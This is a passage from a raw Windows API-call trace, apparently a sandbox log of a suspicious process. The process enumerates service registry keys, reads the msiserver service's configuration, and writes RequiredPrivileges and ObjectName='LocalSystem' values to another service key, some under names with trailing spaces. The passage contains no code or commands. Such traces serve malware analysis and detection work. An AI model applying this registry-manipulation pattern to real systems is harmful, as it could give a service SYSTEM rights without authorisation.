| out: lpName="iaStorV") returned 0x0 [0173.129] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x8b, lpName=0x2152850, cchName=0x104 | out: lpName="idsvc") returned 0x0 [0173.130] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x8c, lpName=0x2152850, cchName=0x104 | out: lpName="iirsp") returned 0x0 [0173.130] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x8d, lpName=0x2152850, cchName=0x104 | out: lpName="IKEEXT") returned 0x0 [0173.130] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x8e, lpName=0x2152850, cchName=0x104 | out: lpName="inetaccs") returned 0x0 [0173.130] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x8f, lpName=0x2152850, cchName=0x104 | out: lpName="intelide") returned 0x0 [0173.130] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x90, lpName=0x2152850, cchName=0x104 | out: lpName="intelppm") returned 0x0 [0173.130] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x91, lpName=0x2152850, cchName=0x104 | out: lpName="IPBusEnum") returned 0x0 [0173.130] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x92, lpName=0x2152850, cchName=0x104 | out: lpName="IpFilterDriver") returned 0x0 [0173.130] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x93, lpName=0x2152850, cchName=0x104 | out: lpName="iphlpsvc") returned 0x0 [0173.130] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x94, lpName=0x2152850, cchName=0x104 | out: lpName="IPMIDRV") returned 0x0 [0173.130] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x95, lpName=0x2152850, cchName=0x104 | out: lpName="IPNAT") returned 0x0 [0173.130] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x96, lpName=0x2152850, cchName=0x104 | out: lpName="IRENUM") returned 0x0 [0173.130] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x97, lpName=0x2152850, cchName=0x104 | out: lpName="isapnp") returned 0x0 [0173.130] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x98, lpName=0x2152850, cchName=0x104 | out: lpName="iScsiPrt") returned 0x0 [0173.130] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x99, lpName=0x2152850, cchName=0x104 | out: lpName="kbdclass") returned 0x0 [0173.130] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x9a, lpName=0x2152850, cchName=0x104 | out: lpName="kbdhid") returned 0x0 [0173.130] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x9b, lpName=0x2152850, cchName=0x104 | out: lpName="KeyIso") returned 0x0 [0173.130] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x9c, lpName=0x2152850, cchName=0x104 | out: lpName="KSecDD") returned 0x0 [0173.131] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x9d, lpName=0x2152850, cchName=0x104 | out: lpName="KSecPkg") returned 0x0 [0173.131] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x9e, lpName=0x2152850, cchName=0x104 | out: lpName="ksthunk") returned 0x0 [0173.131] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x9f, lpName=0x2152850, cchName=0x104 | out: lpName="KtmRm") returned 0x0 [0173.131] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xa0, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanServer") returned 0x0 [0173.131] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xa1, lpName=0x2152850, cchName=0x104 | out: lpName="LanmanWorkstation") returned 0x0 [0173.131] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xa2, lpName=0x2152850, cchName=0x104 | out: lpName="ldap") returned 0x0 [0173.131] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xa3, lpName=0x2152850, cchName=0x104 | out: lpName="lltdio") returned 0x0 [0173.131] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xa4, lpName=0x2152850, cchName=0x104 | out: lpName="lltdsvc") returned 0x0 [0173.131] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xa5, lpName=0x2152850, cchName=0x104 | out: lpName="lmhosts") returned 0x0 [0173.131] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xa6, lpName=0x2152850, cchName=0x104 | out: lpName="Lsa") returned 0x0 [0173.131] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xa7, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_FC") returned 0x0 [0173.131] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xa8, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS") returned 0x0 [0173.131] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xa9, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SAS2") returned 0x0 [0173.131] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xaa, lpName=0x2152850, cchName=0x104 | out: lpName="LSI_SCSI") returned 0x0 [0173.131] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xab, lpName=0x2152850, cchName=0x104 | out: lpName="luafv") returned 0x0 [0173.131] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xac, lpName=0x2152850, cchName=0x104 | out: lpName="Mcx2Svc") returned 0x0 [0173.131] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xad, lpName=0x2152850, cchName=0x104 | out: lpName="megasas") returned 0x0 [0173.132] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xae, lpName=0x2152850, cchName=0x104 | out: lpName="MegaSR") returned 0x0 [0173.132] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xaf, lpName=0x2152850, cchName=0x104 | out: lpName="Microsoft SharePoint Workspace Audit Service") returned 0x0 [0173.132] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xb0, lpName=0x2152850, cchName=0x104 | out: lpName="MMCSS") returned 0x0 [0173.132] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xb1, lpName=0x2152850, cchName=0x104 | out: lpName="Modem") returned 0x0 [0173.132] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xb2, lpName=0x2152850, cchName=0x104 | out: lpName="monitor") returned 0x0 [0173.132] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xb3, lpName=0x2152850, cchName=0x104 | out: lpName="mouclass") returned 0x0 [0173.132] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xb4, lpName=0x2152850, cchName=0x104 | out: lpName="mouhid") returned 0x0 [0173.132] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xb5, lpName=0x2152850, cchName=0x104 | out: lpName="mountmgr") returned 0x0 [0173.132] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xb6, lpName=0x2152850, cchName=0x104 | out: lpName="MozillaMaintenance") returned 0x0 [0173.132] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xb7, lpName=0x2152850, cchName=0x104 | out: lpName="mpio") returned 0x0 [0173.132] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xb8, lpName=0x2152850, cchName=0x104 | out: lpName="mpsdrv") returned 0x0 [0173.132] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xb9, lpName=0x2152850, cchName=0x104 | out: lpName="MpsSvc") returned 0x0 [0173.132] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xba, lpName=0x2152850, cchName=0x104 | out: lpName="MRxDAV") returned 0x0 [0173.132] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xbb, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb") returned 0x0 [0173.132] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xbc, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb10") returned 0x0 [0173.132] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xbd, lpName=0x2152850, cchName=0x104 | out: lpName="mrxsmb20") returned 0x0 [0173.133] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xbe, lpName=0x2152850, cchName=0x104 | out: lpName="msahci") returned 0x0 [0173.133] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xbf, lpName=0x2152850, cchName=0x104 | out: lpName="msdsm") returned 0x0 [0173.133] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xc0, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC") returned 0x0 [0173.133] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xc1, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 3.0.0.0") returned 0x0 [0173.133] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xc2, lpName=0x2152850, cchName=0x104 | out: lpName="MSDTC Bridge 4.0.0.0") returned 0x0 [0173.133] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xc3, lpName=0x2152850, cchName=0x104 | out: lpName="Msfs") returned 0x0 [0173.133] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xc4, lpName=0x2152850, cchName=0x104 | out: lpName="mshidkmdf") returned 0x0 [0173.133] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xc5, lpName=0x2152850, cchName=0x104 | out: lpName="msisadrv") returned 0x0 [0173.133] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xc6, lpName=0x2152850, cchName=0x104 | out: lpName="MSiSCSI") returned 0x0 [0173.133] RegEnumKeyW (in: hKey=0x9c, dwIndex=0xc7, lpName=0x2152850, cchName=0x104 | out: lpName="msiserver") returned 0x0 [0173.133] RegOpenKeyExW (in: hKey=0x9c, lpSubKey="msiserver", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0173.133] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2152850) returned 1 [0173.133] RegCloseKey (hKey=0x9c) returned 0x0 [0173.133] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0173.133] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0173.133] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0173.133] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0173.133] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0173.134] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0173.134] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0173.134] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x150) returned 0x0 [0173.134] RegCloseKey (hKey=0x80000002) returned 0x0 [0173.134] RegEnumKeyW (in: hKey=0x150, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0173.134] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0173.134] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0173.134] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0173.134] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0173.134] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0173.134] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0173.134] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0173.134] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0173.134] RegOpenKeyExW (in: hKey=0x150, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x9c) returned 0x0 [0173.134] RegCloseKey (hKey=0x150) returned 0x0 [0173.134] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0173.134] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0173.135] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0173.135] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0173.135] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0173.135] RegOpenKeyExW (in: hKey=0x9c, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x150) returned 0x0 [0173.135] RegCloseKey (hKey=0x9c) returned 0x0 [0173.135] RegEnumKeyW (in: hKey=0x150, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0173.135] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0173.135] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0173.135] RegEnumKeyW (in: hKey=0x150, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0173.135] RegEnumKeyW (in: hKey=0x150, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0173.135] RegEnumKeyW (in: hKey=0x150, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0173.135] RegEnumKeyW (in: hKey=0x150, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0173.135] RegEnumKeyW (in: hKey=0x150, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0173.135] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0173.136] RegEnumValueA (in: hKey=0x148, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0173.136] RegEnumValueA (in: hKey=0x148, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0173.136] RegEnumValueA (in: hKey=0x148, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0173.136] RegEnumValueA (in: hKey=0x148, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0173.136] RegEnumValueA (in: hKey=0x148, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0173.136] RegEnumValueA (in: hKey=0x148, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0173.136] RegEnumValueA (in: hKey=0x148, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0173.136] RegEnumValueA (in: hKey=0x148, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0173.136] RegEnumValueA (in: hKey=0x148, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0173.136] RegEnumValueA (in: hKey=0x148, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0173.136] RegEnumValueA (in: hKey=0x148, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0173.136] RegEnumValueA (in: hKey=0x148, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0173.136] RegSetValueExA (in: hKey=0x9c, lpValueName="RequiredPrivileges", Reserved=0x0, dwType=0x7, lpData=0x2156ff8*, cbData=0x195 | out: lpData=0x2156ff8*) returned 0x0 [0173.137] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2156ff8) returned 1 [0173.137] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4418 [0173.137] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2f38 [0173.137] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f4418) returned 1 [0173.137] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0xc0) returned 0x219d3c8 [0173.137] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2f38) returned 1 [0173.137] RegSetValueExA (in: hKey=0x9c, lpValueName="RequiredPrivileges ", Reserved=0x0, dwType=0x7, lpData=0x219d3c8*, cbData=0x84 | out: lpData=0x219d3c8*) returned 0x0 [0173.137] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x219d3c8) returned 1 [0173.137] RegEnumValueA (in: hKey=0x148, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0173.137] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d660 [0173.137] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d548 [0173.137] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4418 [0173.137] RegEnumValueA (in: hKey=0x148, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0173.137] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d538 [0173.137] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f43d0 [0173.137] RegEnumValueA (in: hKey=0x148, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0173.137] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4e8 [0173.137] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4388 [0173.137] RegEnumValueA (in: hKey=0x148, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0173.137] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4f8 [0173.138] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4340 [0173.138] RegEnumValueA (in: hKey=0x148, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0173.138] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x20) returned 0x252ff98 [0173.138] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d660) returned 1 [0173.138] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d448 [0173.138] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f42f8 [0173.138] RegEnumValueA (in: hKey=0x148, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0173.138] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d438 [0173.138] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f42b0 [0173.138] RegEnumValueA (in: hKey=0x148, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0173.138] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d428 [0173.138] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4268 [0173.138] RegEnumValueA (in: hKey=0x148, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0173.138] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d418 [0173.138] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4220 [0173.138] RegEnumValueA (in: hKey=0x148, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0173.138] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x30) returned 0x252bc08 [0173.138] RegEnumValueA (in: hKey=0x148, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0173.138] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d518 [0173.138] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4190 [0173.138] RegEnumValueA (in: hKey=0x148, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0173.138] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d508 [0173.138] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4148 [0173.138] RegEnumValueA (in: hKey=0x148, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0173.138] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4100 [0173.138] RegSetValueExA (in: hKey=0x9c, lpValueName="ObjectName", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0173.139] RegSetValueExA (in: hKey=0x9c, lpValueName="ObjectName ", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0173.139] RegEnumValueA (in: hKey=0x148, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0173.139] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d660 [0173.139] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d508 [0173.139] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f4148 [0173.139] RegEnumValueA (in: hKey=0x148, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0173.139] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4b8 [0173.139] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3f08 [0173.139] RegEnumValueA (in: hKey=0x148, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0173.139] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d368 [0173.139] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3f50 [0173.139] RegEnumValueA (in: hKey=0x148, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0173.139] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d318 [0173.139] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f3f98 [0173.139] RegEnumValueA (in: hKey=0x148, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0173.139] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x20) returned 0x252bc08 [0173.139] RegEnumValueA (in: hKey=0x148, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, 